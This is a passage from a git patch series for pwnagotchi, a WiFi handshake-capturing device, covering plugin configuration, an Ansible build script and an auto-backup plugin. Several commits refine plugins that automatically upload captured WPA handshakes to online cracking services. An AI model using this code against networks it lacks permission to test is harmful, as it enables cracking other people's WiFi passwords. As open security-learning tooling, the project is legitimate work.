+__license__ = 'GPL3' +__description__ = 'This plugin automatically uploades handshakes to https://onlinehashcrack.com' + +import os +import logging +import requests + +READY = False +EMAIL = None +ALREADY_UPLOADED = None + + +def on_loaded(): + """ + Gets called when the plugin gets loaded + """ + global READY + global EMAIL + global ALREADY_UPLOADED + + if not EMAIL: + logging.error("OHC: EMAIL isn't set. Can't upload to onlinehashcrack.com") + return + + try: + with open('/root/.ohc_uploads', 'r') as f: + ALREADY_UPLOADED = f.read().splitlines() + except OSError: + logging.warning('OHC: No upload-file found.') + ALREADY_UPLOADED = [] + + READY = True + + +def _upload_to_ohc(path, timeout=30): + """ + Uploads the file to onlinehashcrack.com + """ + with open(path, 'rb') as file_to_upload: + data = {'email': EMAIL} + payload = {'file': file_to_upload} + + try: + result = requests.post('https://api.onlinehashcrack.com', + data=data, + files=payload, + timeout=timeout) + if 'already been sent' in result.text: + logging.warning(f"{path} was already uploaded.") + except requests.exceptions.RequestException as e: + logging.error(f"OHC: Got an exception while uploading {path} -> {e}") + raise e + + +def on_internet_available(display, config, log): + """ + Called in manual mode when there's internet connectivity + """ + if READY: + handshake_dir = config['bettercap']['handshakes'] + handshake_filenames = os.listdir(handshake_dir) + handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames] + handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED) + + if handshake_new: + logging.info("OHC: Internet connectivity detected. Uploading new handshakes to onelinehashcrack.com") + + for idx, handshake in enumerate(handshake_new): + display.set('status', f"Uploading handshake to onlinehashcrack.com ({idx + 1}/{len(handshake_new)})") + display.update(force=True) + try: + _upload_to_ohc(handshake) + ALREADY_UPLOADED.append(handshake) + with open('/root/.ohc_uploads', 'a') as f: + f.write(handshake + "\n") + except requests.exceptions.RequestException: + pass + except OSError as os_e: + logging.error(f"OHC: Got the following error: {os_e}") + From bc10be69a0c0ceefa925497ef7fae5c863bd4dae Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:26:08 +0200 Subject: [PATCH 32/64] Add already submitted check --- .../pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py index 30e136ef..e3267e0e 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -44,10 +44,12 @@ def _upload_to_wpasec(path, timeout=30): payload = {'file': file_to_upload} try: - requests.post('https://wpa-sec.stanev.org/?submit', + result = requests.post('https://wpa-sec.stanev.org/?submit', headers=headers, files=payload, timeout=timeout) + if ' already submitted' in result.text: + logging.warning(f"{path} was already submitted.") except requests.exceptions.RequestException as e: logging.error(f"WPA_SEC: Got an exception while uploading {path} -> {e}") raise e From 11f35f1230ddc2bc500b4d29ac82cd85b4464907 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:32:04 +0200 Subject: [PATCH 33/64] Be a lil bit more verbose --- .../scripts/pwnagotchi/plugins/default/onlinehashcrack.py | 1 + 1 file changed, 1 insertion(+) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py index 5715be6b..39f73dd8 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py @@ -76,6 +76,7 @@ def on_internet_available(display, config, log): ALREADY_UPLOADED.append(handshake) with open('/root/.ohc_uploads', 'a') as f: f.write(handshake + "\n") + logging.info(f"OHC: Successfuly uploaded {handshake}") except requests.exceptions.RequestException: pass except OSError as os_e: From d52ea8718f306418ab85e9c354be4eee412f365f Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:33:11 +0200 Subject: [PATCH 34/64] Be a lil bit more verbose --- .../pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py | 1 + 1 file changed, 1 insertion(+) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py index e3267e0e..b4ee86c7 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -77,6 +77,7 @@ def on_internet_available(display, config, log): ALREADY_UPLOADED.append(handshake) with open('/root/.wpa_sec_uploads', 'a') as f: f.write(handshake + "\n") + logging.info(f"WPA_SEC: Successfuly uploaded {handshake}") except requests.exceptions.RequestException: pass except OSError as os_e: From b402f0dad3675ce4677433a966001394010b31e2 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 10:42:25 +0200 Subject: [PATCH 35/64] misc: small fix or general refactoring i did not bother commenting --- README.md | 13 +------------ docs/dev.md | 8 ++++++++ 2 files changed, 9 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index b1dfb15c..c7625f22 100644 --- a/README.md +++ b/README.md @@ -38,17 +38,6 @@ For hackers to learn reinforcement learning, WiFi networking and have an excuse - [Project Twitter](https://twitter.com/pwnagotchi) - [Project Website](https://pwnagotchi.ai/) -## Known Bugs - -- GLib-ERROR **: 20:50:46.361: getauxval () failed: No such file or directory - -Affected DEB & Versions: QEMU <=2.11 - -Fix: Upgrade QEMU to >=3.1 - -Bug Link: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=923289 - ## License -`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released under the GPL3 license. - +`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and the [amazing dev team](https://github.com/evilsocket/pwnagotchi/graphs/contributors). It's released under the GPL3 license. \ No newline at end of file diff --git a/docs/dev.md b/docs/dev.md index 09d2a465..75b7ea0f 100644 --- a/docs/dev.md +++ b/docs/dev.md @@ -22,6 +22,14 @@ usage: ./scripts/create_sibling.sh [OPTIONS] -h # Show this help ``` +#### Known Issues + +`GLib-ERROR **: 20:50:46.361: getauxval () failed: No such file or directory` + +- Affected DEB & Versions: QEMU <= 2.11 +- Fix: Upgrade QEMU to >= 3.1 +- Bug Link: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=923289 + ## Adding a Language If you want to add a language use the `language.sh` script. If you want to add for example the language **italian** you would type: From a99c21bbc5e10e4eaab2dc811e68919ec5e26e39 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 10:38:30 +0200 Subject: [PATCH 36/64] Configure plugins via config.yml --- sdcard/rootfs/root/pwnagotchi/config.yml | 24 ++++++++++++------- .../scripts/pwnagotchi/plugins/__init__.py | 12 +++++++--- .../pwnagotchi/plugins/default/example.py | 3 +++ .../plugins/default/onlinehashcrack.py | 8 +++---- .../pwnagotchi/plugins/default/twitter.py | 7 +++--- .../pwnagotchi/plugins/default/wpa-sec.py | 5 ++-- 6 files changed, 37 insertions(+), 22 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 5d786c59..ee91c79a 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -6,8 +6,21 @@ main: custom_plugins: # which plugins to load and enable plugins: - - gps - - twitter + gps: + enabled: false + twitter: + enabled: false + consumer_key: aaa + consumer_secret: aaa + access_token_key: aaa + access_token_secret: aaa + onlinehashcrack: + enabled: false + email: ~ + wpa-sec: + enabled: false + api_key: ~ + # monitor interface to use iface: mon0 # command to run to bring the mon interface up in case it's not up already @@ -114,13 +127,6 @@ ui: address: '10.0.0.2' port: 8080 -# twitter bot data -twitter: - enabled: false - consumer_key: aaa - consumer_secret: aaa - access_token_key: aaa - access_token_secret: aaa # bettercap rest api configuration bettercap: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py index b6f33f3f..38d29e73 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/__init__.py @@ -43,12 +43,18 @@ def load_from_path(path, enabled=()): def load(config): - enabled = config['main']['plugins'] + enabled = [name for name, options in config['main']['plugins'].items() if 'enabled' in options and options['enabled']] custom_path = config['main']['custom_plugins'] if 'custom_plugins' in config['main'] else None # load default plugins - load_from_path(default_path, enabled=enabled) + loaded = load_from_path(default_path, enabled=enabled) + # set the options + for name, plugin in loaded.items(): + plugin.__dict__['OPTIONS'] = config['main']['plugins'][name] # load custom ones if custom_path is not None: - load_from_path(custom_path, enabled=enabled) + loaded = load_from_path(custom_path, enabled=enabled) + # set the options + for name, plugin in loaded.items(): + plugin.__dict__['OPTIONS'] = config['main']['plugins'][name] on('loaded') diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py index b425d6ee..dfca16a7 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py @@ -11,6 +11,9 @@ from pwnagotchi.ui.view import BLACK import pwnagotchi.ui.fonts as fonts +# Will be set with the options in config.yml config['main']['plugins'][__name__] +OPTIONS = dict() + # called when the plugin is loaded def on_loaded(): logging.warning("WARNING: plugin %s should be disabled!" % __name__) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py index 39f73dd8..249ea19a 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py @@ -9,8 +9,8 @@ import logging import requests READY = False -EMAIL = None ALREADY_UPLOADED = None +OPTIONS = dict() def on_loaded(): @@ -21,8 +21,8 @@ def on_loaded(): global EMAIL global ALREADY_UPLOADED - if not EMAIL: - logging.error("OHC: EMAIL isn't set. Can't upload to onlinehashcrack.com") + if not 'email' in OPTIONS or ('email' in OPTIONS and OPTIONS['email'] is None): + logging.error("OHC: Email isn't set. Can't upload to onlinehashcrack.com") return try: @@ -40,7 +40,7 @@ def _upload_to_ohc(path, timeout=30): Uploads the file to onlinehashcrack.com """ with open(path, 'rb') as file_to_upload: - data = {'email': EMAIL} + data = {'email': OPTIONS['email']} payload = {'file': file_to_upload} try: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py index 03aa2514..560903a0 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/twitter.py @@ -7,6 +7,7 @@ __description__ = 'This plugin creates tweets about the recent activity of pwnag import logging from pwnagotchi.voice import Voice +OPTIONS = dict() def on_loaded(): logging.info("twitter plugin loaded.") @@ -14,7 +15,7 @@ def on_loaded(): # called in manual mode when there's internet connectivity def on_internet_available(ui, config, log): - if config['twitter']['enabled'] and log.is_new() and log.handshakes > 0: + if log.is_new() and log.handshakes > 0: try: import tweepy except ImportError: @@ -32,8 +33,8 @@ def on_internet_available(ui, config, log): ui.update(force=True) try: - auth = tweepy.OAuthHandler(config['twitter']['consumer_key'], config['twitter']['consumer_secret']) - auth.set_access_token(config['twitter']['access_token_key'], config['twitter']['access_token_secret']) + auth = tweepy.OAuthHandler(OPTIONS['consumer_key'], OPTIONS['consumer_secret']) + auth.set_access_token(OPTIONS['access_token_key'], OPTIONS['access_token_secret']) api = tweepy.API(auth) tweet = Voice(lang=config['main']['lang']).on_log_tweet(log) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py index b4ee86c7..68e41717 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/wpa-sec.py @@ -9,7 +9,6 @@ import logging import requests READY = False -API_KEY = None ALREADY_UPLOADED = None @@ -21,7 +20,7 @@ def on_loaded(): global API_KEY global ALREADY_UPLOADED - if not API_KEY: + if not 'api_key' in OPTIONS or ('api_key' in OPTIONS and OPTIONS['api_key'] is None): logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org") return @@ -40,7 +39,7 @@ def _upload_to_wpasec(path, timeout=30): Uploads the file to wpa-sec.stanev.org """ with open(path, 'rb') as file_to_upload: - headers = {'key': API_KEY} + headers = {'key': OPTIONS['api_key']} payload = {'file': file_to_upload} try: From 05e0cd161d4243f3740b917b1c0c224f6c16b8f6 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 12:22:16 +0200 Subject: [PATCH 37/64] Fix name conflict --- sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py index 023fa2e1..98f8aabe 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py @@ -129,11 +129,11 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer): wifi_running = self.is_module_running('wifi') if wifi_running and restart: logging.debug("restarting wifi module ...") - self.restart('wifi.recon') + self.restart_module('wifi.recon') self.run('wifi.clear') elif not wifi_running: logging.debug("starting wifi module ...") - self.start('wifi.recon') + self.start_module('wifi.recon') self.start_advertising() @@ -388,10 +388,10 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer): return m['running'] return False - def start(self, module): + def start_module(self, module): self.run('%s on' % module) - def restart(self, module): + def restart_module(self, module): self.run('%s off; %s on' % (module, module)) def _has_handshake(self, bssid): From 6e4fe624ecdb369f52edaf22d7e16a7790475b2e Mon Sep 17 00:00:00 2001 From: Ross Simpson Date: Fri, 4 Oct 2019 22:01:44 +1000 Subject: [PATCH 38/64] Fix incorrect config filename in update script The update script backs up the config file to `/root/config.bak`, but then tries to restore it from `/root/config.yml.bak` (which obviously won't be found). This looks like a typo in the backup command, so update that command to use the same filename as the restore command. Signed-off-by: Ross Simpson --- scripts/update_pwnagotchi.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/update_pwnagotchi.sh b/scripts/update_pwnagotchi.sh index 734ed4c2..9299f1a7 100755 --- a/scripts/update_pwnagotchi.sh +++ b/scripts/update_pwnagotchi.sh @@ -89,7 +89,7 @@ fi if [ $BACKUPCONFIG -eq 1 ]; then echo "[+] Creating backup of config.yml and hostname references" - mv /root/pwnagotchi/config.yml /root/config.bak -f + mv /root/pwnagotchi/config.yml /root/config.yml.bak -f mv /etc/hosts /root/hosts.bak -f mv /etc/hostname /root/hostname.bak -f mv /etc/motd /etc/motd.bak -f From aedf670bcf3b4ce15903fb143fddf5a7c7ca42f0 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 15:38:07 +0200 Subject: [PATCH 39/64] misc: small fix or general refactoring i did not bother commenting --- .../pwnagotchi/scripts/pwnagotchi/plugins/default/example.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py index dfca16a7..c18177c2 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/example.py @@ -84,7 +84,7 @@ def on_ai_best_reward(agent, reward): pass -# called when the AI got the best reward so far +# called when the AI got the worst reward so far def on_ai_worst_reward(agent, reward): pass From 3c3ae2b30b86402aa7b46b6263d0834daabca617 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 18:27:48 +0200 Subject: [PATCH 40/64] fixed docs --- docs/configure.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/configure.md b/docs/configure.md index b9d8f531..733abc96 100644 --- a/docs/configure.md +++ b/docs/configure.md @@ -4,7 +4,7 @@ Once you wrote the image file on the SD card, there're a few steps you'll have t You'll need to configure it with a static IP address: -- IP: `10.0.0.2` +- IP: `10.0.0.1` - Netmask: `255.255.255.0` - Gateway: `10.0.0.1` - DNS (if required): `8.8.8.8` (or whatever) From 22f06df0a38c59b858dfd10d19e7db7ab1242caf Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Fri, 4 Oct 2019 19:03:33 +0200 Subject: [PATCH 41/64] added hh mm ss localization (fix #134) --- sdcard/rootfs/root/pwnagotchi/scripts/main.py | 2 +- .../scripts/pwnagotchi/locale/voice.pot | 19 +++++++++++++++++++ .../root/pwnagotchi/scripts/pwnagotchi/log.py | 14 ++++++++------ 3 files changed, 28 insertions(+), 7 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/main.py b/sdcard/rootfs/root/pwnagotchi/scripts/main.py index a593353e..60469e82 100755 --- a/sdcard/rootfs/root/pwnagotchi/scripts/main.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/main.py @@ -46,7 +46,7 @@ if args.do_clear: elif args.do_manual: logging.info("entering manual mode ...") - log = SessionParser(config['main']['log']) + log = SessionParser(config) logging.info( "the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % ( log.duration_human, diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot index fbeba17d..c11874e3 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot @@ -186,3 +186,22 @@ msgid "" "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" + +msgid "hours" +msgstr "" + +msgid "hour" +msgstr "" + +msgid "minutes" +msgstr "" + +msgid "minute" +msgstr "" + +msgid "hours" +msgstr "" + +msgid "hour" +msgstr "" + diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py index 8648521d..c6a108f3 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py @@ -1,10 +1,10 @@ -import os import hashlib import time import re import os from datetime import datetime +from pwnagotchi.voice import Voice from pwnagotchi.mesh.peer import Peer from file_read_backwards import FileReadBackwards @@ -125,17 +125,19 @@ class SessionParser(object): self.duration = '%02d:%02d:%02d' % (hours, mins, secs) self.duration_human = [] if hours > 0: - self.duration_human.append('%d hours' % hours) + self.duration_human.append('%d %s' % (hours, self.voice.custom('hours' if hours > 1 else 'hour'))) if mins > 0: - self.duration_human.append('%d minutes' % mins) + self.duration_human.append('%d %s' % (mins, self.voice.custom('minutes' if mins > 1 else 'minute'))) if secs > 0: - self.duration_human.append('%d seconds' % secs) + self.duration_human.append('%d %s' % (secs, self.voice.custom('seconds' if secs > 1 else 'second'))) self.duration_human = ', '.join(self.duration_human) self.avg_reward /= (self.epochs if self.epochs else 1) - def __init__(self, path='/var/log/pwnagotchi.log'): - self.path = path + def __init__(self, config): + self.config = config + self.voice = Voice(lang=config['main']['lang']) + self.path = config['main']['log'] self.last_session = None self.last_session_id = '' self.last_saved_session_id = '' From 50dd651fab8174c97017bd8a0e17771d15b9a0f0 Mon Sep 17 00:00:00 2001 From: Cassiano Aquino Date: Fri, 4 Oct 2019 23:15:47 +0100 Subject: [PATCH 42/64] move dependencies to binary or deb packages --- builder/pwnagotchi.yml | 79 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 64 insertions(+), 15 deletions(-) diff --git a/builder/pwnagotchi.yml b/builder/pwnagotchi.yml index 515ee705..e091dabf 100644 --- a/builder/pwnagotchi.yml +++ b/builder/pwnagotchi.yml @@ -3,8 +3,9 @@ - 127.0.0.1 become: yes vars: - pwn_hostname: "pwnagotchi" - pwn_version: "master" + pwn_hostname: "{{ lookup('env', 'PWN_HOSTNAME') | default('pwnagotchi', true) }}" + pwn_version: "{{ lookup('env', 'PWN_VERSION') | default('master', true) }} " + bettercap_query: "assets[?contains(name, 'armv6l')].browser_download_url" tasks: @@ -57,6 +58,7 @@ - git - build-essential - python3-pip + - unzip - gawk - libopenmpi-dev - libatlas-base-dev @@ -87,6 +89,25 @@ - fonts-dejavu - fonts-dejavu-core - fonts-dejavu-extra + - python3-crypto + - python3-requests + - python3-yaml + - python3-smbus + - python3-inkyphat + - python3-numpy + - python3-pil + - python3-tweepy + - python3-opencv + - python3-termcolor + - python3-astor + - python3-backports.weakref + - python3-keras-applications + - python3-keras-preprocessing + - python3-six + - python3-protobuf + - python3-wrapt + - python3-wheel + - python3-mock - name: configure dphys-swapfile file: @@ -113,16 +134,48 @@ state: started enabled: yes - - name: build bettercap - command: go get -u github.com/bettercap/bettercap - environment: - GOPATH: /root/go - GOROOT: /usr/lib/go + - name: acquire python3 pip target + command: "python3 -c 'import sys;print(sys.path.pop())'" + register: pip_target - - name: install bettercap - copy: - src: /root/go/bin/bettercap - dest: /usr/bin/bettercap + - name: install pip packages that are not architecture tied + pip: + name: "{{ packages }}" + extra_args: "--no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --prefer-binary --no-cache-dir --platform=armv6l --target={{ pip_target.stdout }}" + vars: + packages: + - absl-py + - enum34 + - gast + - google_pasta + - opt_einsum + - tensorboard + - scapy + - gym + - stable-baselines + - file_read_backwards + - tensorflow_estimator + + - name: install grpcio + command: "pip3 install --no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --no-cache-dir --prefer-binary --platform=armv6l --only-binary=:all: --target={{ pip_target.stdout }} https://www.piwheels.hostedpi.com/simple/grpcio/grpcio-1.24.1-cp37-cp37m-linux_armv6l.whl" + + - name: install tensorflow + command: "pip3 install --no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --no-cache-dir --prefer-binary --platform=armv6l --only-binary=:all: --target={{ pip_target.stdout }} https://storage.googleapis.com/tensorflow/raspberrypi/tensorflow-1.14.0-cp34-none-linux_armv6l.whl" + + - name: fetch bettercap release information + uri: + url: https://api.github.com/repos/bettercap/bettercap/releases/latest + return_content: yes + register: bettercap_release + + - name: download and install bettercap + unarchive: + src: "{{ bettercap_release.content | from_json | json_query(bettercap_query) | first }}" + dest: /usr/bin + remote_src: yes + exclude: + - README.md + - LICENSE.md mode: 0755 - name: clone bettercap caplets @@ -151,10 +204,6 @@ path: /tmp/pwnagotchi state: absent - - name: install python modules - pip: - requirements: /root/pwnagotchi/scripts/requirements.txt - - name: create cpuusage script copy: dest: /usr/bin/cpuusage From 2bbe5cc9c3fe8c8a97352a88c3670e0a083e6375 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Sat, 5 Oct 2019 11:19:53 +0200 Subject: [PATCH 43/64] Add auto-backup plugin --- sdcard/rootfs/root/pwnagotchi/config.yml | 7 +++ .../pwnagotchi/plugins/default/auto-backup.py | 63 +++++++++++++++++++ 2 files changed, 70 insertions(+) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index ee91c79a..33ea10ff 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -6,6 +6,13 @@ main: custom_plugins: # which plugins to load and enable plugins: + auto-backup: + enabled: false + interval: 1 # every day + files: + - /root/brain.nn + backup_cmd: 'tar czf /tmp/backup.tar.gz {files}' + upload_cmd: 'scp /tmp/backup.tar.gz 10.0.0.1:/backups/backup-$(date).tar.gz' gps: enabled: false twitter: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py new file mode 100644 index 00000000..348f8414 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py @@ -0,0 +1,63 @@ +__author__ = '33197631+dadav@users.noreply.github.com' +__version__ = '1.0.0' +__name__ = 'auto-backup' +__license__ = 'GPL3' +__description__ = 'This plugin backups files when internet is availaible.' + +import os +import logging +import subprocess +from datetime import datetime + +OPTIONS = dict() +LAST_BACKUP = None +READY = False + +def on_loaded(): + """ + Gets called when the plugin gets loaded + """ + global READY + global LAST_BACKUP + + if 'files' not in OPTIONS or ('files' in OPTIONS and OPTIONS['files'] is None): + logging.error("AUTO-BACKUP: No files to backup.") + return + + if 'interval' not in OPTIONS or ('interval' in OPTIONS and OPTIONS['interval'] is None): + logging.error("AUTO-BACKUP: Interval is not set.") + return + + if 'backup_cmd' not in OPTIONS or ('backup_cmd' in OPTIONS and OPTIONS['backup_cmd'] is None): + logging.error("AUTO-BACKUP: No backup_cmd given.") + return + + if os.path.exists('/root/.auto-backup'): + LAST_BACKUP = datetime.fromtimestamp(os.path.getmtime('/root/.auto-backup')) + + READY = True + + +def on_internet_available(display, config, log): + """ + Called in manual mode when there's internet connectivity + """ + global LAST_BACKUP + + if READY: + if LAST_BACKUP is not None: + if (datetime.now() - LAST_BACKUP).days < OPTIONS['interval']: + return + + files_to_backup = " ".join(OPTIONS['files']) + try: + subprocess.call(OPTIONS['backup_cmd'].format(files=files_to_backup).split(), stdout=open(os.devnull, 'wb')) + if 'upload_cmd' in OPTIONS and OPTIONS['upload_cmd'] is not None: + subprocess.call(OPTIONS['upload_cmd'].split(), stdout=open(os.devnull, 'wb')) + logging.info("AUTO-BACKUP: Successfuly ran backup commands.") + LAST_BACKUP = datetime.now() + with open('/root/.auto-backup', 'w') as f: + f.write('success') + except OSError as os_e: + logging.info(f"AUTO-BACKUP: Error: {os_e}") + From 7db7874d8e1a1aef80320e70ebed43610a305f5b Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Sat, 5 Oct 2019 11:32:54 +0200 Subject: [PATCH 44/64] More general variable --- sdcard/rootfs/root/pwnagotchi/config.yml | 5 +++-- .../scripts/pwnagotchi/plugins/default/auto-backup.py | 9 ++++----- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 33ea10ff..24bcdb79 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -11,8 +11,9 @@ main: interval: 1 # every day files: - /root/brain.nn - backup_cmd: 'tar czf /tmp/backup.tar.gz {files}' - upload_cmd: 'scp /tmp/backup.tar.gz 10.0.0.1:/backups/backup-$(date).tar.gz' + commands: + - 'tar czf /tmp/backup.tar.gz {files}' + - 'scp /tmp/backup.tar.gz 10.0.0.1:/backups/backup-$(date).tar.gz' gps: enabled: false twitter: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py index 348f8414..1e4acb9a 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py @@ -28,8 +28,8 @@ def on_loaded(): logging.error("AUTO-BACKUP: Interval is not set.") return - if 'backup_cmd' not in OPTIONS or ('backup_cmd' in OPTIONS and OPTIONS['backup_cmd'] is None): - logging.error("AUTO-BACKUP: No backup_cmd given.") + if 'commands' not in OPTIONS or ('commands' in OPTIONS and OPTIONS['commands'] is None): + logging.error("AUTO-BACKUP: No commands given.") return if os.path.exists('/root/.auto-backup'): @@ -51,9 +51,8 @@ def on_internet_available(display, config, log): files_to_backup = " ".join(OPTIONS['files']) try: - subprocess.call(OPTIONS['backup_cmd'].format(files=files_to_backup).split(), 